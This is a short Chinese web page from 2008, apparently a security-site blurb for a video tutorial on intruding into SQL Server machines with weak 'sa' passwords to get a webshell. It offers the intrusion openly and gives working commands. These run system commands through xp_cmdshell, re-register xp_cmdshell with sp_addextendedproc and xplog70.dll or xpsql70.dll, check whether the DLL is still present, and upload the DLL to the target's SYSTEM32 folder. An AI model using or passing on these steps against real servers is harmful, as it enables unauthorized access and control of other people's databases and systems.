不同的Sa拿Webshell教程

ZDNet 安全频道频道 更新时间:2008-06-07 作者: 来源:SohuIT

本文关键词:webshell xp_cmdshell 教程

  动画性质: 无声演示



  录制工具: 屏幕录象专家



  游戏外挂:



  VIP 会员:



  动画评级:



  动画介绍:今天给大家带来的是SQL 的SA弱口令入侵,这和其他的教程不一样



  在大家找到有SQL 的SA弱口令的机子也不少,可是也费了不少劲,今天就都大家一个有用的方法



  可能你们会遇过exec master.dbo.xp_cmdshell’net user’



  这个不能执行时,让人头痛,然后会用



  EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int



  sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’



  去恢复xp_cmdshell



  结果还是不成功,呵呵这下可让人难受,



  在这里教大家一个好法来,我们先来看下这个xplog70.dll或xpsql70.dll



  是不是被删除了



  select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xplog70.dll’



  返回1就OK ;O则完完。



  如果要是被删除了大家可以想办法上传个xplog70.dll或xpsql70.dll到对方的



  SYSTEM32目录下就可以搞定

安全频道 webshell 最新报道

安全频道 教程 最新报道

[an error occurred while processing this directive]